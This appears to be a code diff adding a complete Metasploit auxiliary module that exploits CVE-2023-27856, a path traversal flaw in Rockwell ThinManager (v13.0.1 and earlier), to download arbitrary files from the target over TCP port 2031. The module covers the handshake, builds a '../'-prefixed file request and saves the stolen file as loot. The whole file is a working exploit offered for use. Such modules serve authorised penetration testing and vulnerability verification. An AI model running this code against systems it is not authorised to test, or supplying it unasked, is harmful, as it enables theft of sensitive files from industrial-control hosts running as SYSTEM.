|
| 1 | +## |
| 2 | +# This module requires Metasploit: https://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +class MetasploitModule < Msf::Auxiliary |
| 7 | + include Msf::Exploit::Remote::Tcp |
| 8 | + include Msf::Auxiliary::Report |
| 9 | + prepend Msf::Exploit::Remote::AutoCheck |
| 10 | + |
| 11 | + def initialize(info = {}) |
| 12 | + super( |
| 13 | + update_info( |
| 14 | + info, |
| 15 | + 'Name' => 'ThinManager Path Traversal (CVE-2023-27856) Arbitrary File Download', |
| 16 | + 'Description' => %q{ |
| 17 | + This module exploits a path traversal vulnerability (CVE-2023-27856) in ThinManager <= v13.0.1 to retrieve arbitrary files from the system. |
| 18 | +
|
| 19 | + The affected service listens by default on TCP port 2031 and runs in the context of NT AUTHORITY\SYSTEM. |
| 20 | + }, |
| 21 | + 'Author' => [ |
| 22 | + 'Michael Heinzl', # MSF Module |
| 23 | + 'Tenable' # Discovery and PoC |
| 24 | + ], |
| 25 | + 'License' => MSF_LICENSE, |
| 26 | + 'References' => [ |
| 27 | + ['CVE', '2023-27856'], |
| 28 | + ['URL', 'https://www.tenable.com/security/research/tra-2023-13'], |
| 29 | + ['URL', 'https://rockwellautomation.custhelp.com/app/answers/answer_view/a_id/1138640'] |
| 30 | + ], |
| 31 | + 'DisclosureDate' => '2023-04-05', |
| 32 | + 'DefaultOptions' => { |
| 33 | + 'RPORT' => 2031, |
| 34 | + 'SSL' => 'False' |
| 35 | + }, |
| 36 | + 'Notes' => { |
| 37 | + 'Stability' => [CRASH_SAFE], |
| 38 | + 'Reliability' => [], |
| 39 | + 'SideEffects' => [IOC_IN_LOGS] |
| 40 | + } |
| 41 | + ) |
| 42 | + ) |
| 43 | + |
| 44 | + register_options( |
| 45 | + [ |
| 46 | + OptString.new('FILE', [false, 'The file to read from the target system.', '/Windows/win.ini']), |
| 47 | + OptInt.new('DEPTH', [ true, 'The traversal depth. The FILE path will be prepended with ../ * DEPTH', 7 ]) |
| 48 | + ] |
| 49 | + ) |
| 50 | + end |
| 51 | + |
| 52 | + def check |
| 53 | + begin |
| 54 | + connect |
| 55 | + rescue Rex::ConnectionTimeout |
| 56 | + print_error("Connection to #{datastore['RHOSTS']}:#{datastore['RPORT']} failed.") |
| 57 | + return Exploit::CheckCode::Unknown |
| 58 | + end |
| 59 | + |
| 60 | + vprint_status('Sending handshake...') |
| 61 | + handshake = [0x100].pack('V') |
| 62 | + vprint_status(Rex::Text.to_hex_dump(handshake)) |
| 63 | + sock.put(handshake) |
| 64 | + |
| 65 | + res = sock.get_once(4096, 5) |
| 66 | + expected_header = "\x00\x04\x00\x01\x00\x00\x00\x08".b |
| 67 | + |
| 68 | + if res&.start_with?(expected_header) |
| 69 | + vprint_status('Received handshake response.') |
| 70 | + vprint_status(Rex::Text.to_hex_dump(res)) |
| 71 | + disconnect |
| 72 | + return Exploit::CheckCode::Detected |
| 73 | + elsif res |
| 74 | + vprint_status('Received unexpected handshake response:') |
| 75 | + vprint_status(Rex::Text.to_hex_dump(res)) |
| 76 | + disconnect |
| 77 | + return Exploit::CheckCode::Safe |
| 78 | + else |
| 79 | + disconnect |
| 80 | + return Exploit::CheckCode::Unknown('No handshake response received.') |
| 81 | + end |
| 82 | + end |
| 83 | + |
| 84 | + def mk_msg(msg_type, flags, data) |
| 85 | + dlen = data.length |
| 86 | + hdr = [msg_type, flags, dlen].pack('nnN') |
| 87 | + hdr + data |
| 88 | + end |
| 89 | + |
| 90 | + def run |
| 91 | + print_status('Sending handshake...') |
| 92 | + |
| 93 | + begin |
| 94 | + connect |
| 95 | + rescue Rex::ConnectionTimeout => e |
| 96 | + fail_with(Failure::Unreachable, "Connection to #{datastore['RHOSTS']}:#{datastore['RPORT']} failed: #{e.message}") |
| 97 | + end |
| 98 | + |
| 99 | + handshake = [0x100].pack('V') |
| 100 | + vprint_status(Rex::Text.to_hex_dump(handshake)) |
| 101 | + |
| 102 | + begin |
| 103 | + sock.put(handshake) |
| 104 | + rescue StandardError => e |
| 105 | + fail_with(Failure::UnexpectedReply, "Failed during handshake send: #{e.class} - #{e.message}") |
| 106 | + end |
| 107 | + |
| 108 | + res = sock.get |
| 109 | + if res |
| 110 | + print_status('Received handshake response.') |
| 111 | + vprint_status(Rex::Text.to_hex_dump(res)) |
| 112 | + else |
| 113 | + print_error('No handshake response received.') |
| 114 | + fail_with(Failure::Unreachable, "Connection to #{datastore['RHOSTS']}:#{datastore['RPORT']} failed: #{e.message}") |
| 115 | + end |
| 116 | + |
| 117 | + data = [0xaa].pack('N') |
| 118 | + traversal = '../' * datastore['DEPTH'] |
| 119 | + fname = datastore['FILE'] |
| 120 | + data << (traversal + fname) |
| 121 | + data << "\x00" |
| 122 | + |
| 123 | + req = mk_msg(8, 0x0001, data) |
| 124 | + vprint_status(Rex::Text.to_hex_dump(req)) |
| 125 | + |
| 126 | + print_status("Requesting #{fname} from #{datastore['RHOSTS']}") |
| 127 | + sock.put(req) |
| 128 | + |
| 129 | + begin |
| 130 | + res = sock.get |
| 131 | + if res |
| 132 | + print_good('Received response from target.') |
| 133 | + vprint_status(Rex::Text.to_hex_dump(res)) if res |
| 134 | + else |
| 135 | + print_error('No response received from target.') |
| 136 | + end |
| 137 | + rescue StandardError => e |
| 138 | + fail_with(Failure::TimeoutExpired, "Failed to receive response: #{e.class} - #{e.message}") |
| 139 | + ensure |
| 140 | + disconnect |
| 141 | + |
| 142 | + path = store_loot('thinmanager.file', 'text/plain', datastore['RHOSTS'], res[16..], datastore['FILE'], 'File retrieved through ThinManager path traversal (CVE-2023-27856).') |
| 143 | + print_status("File saved as loot: #{path}") |
| 144 | + end |
| 145 | + end |
| 146 | +end |
0 commit comments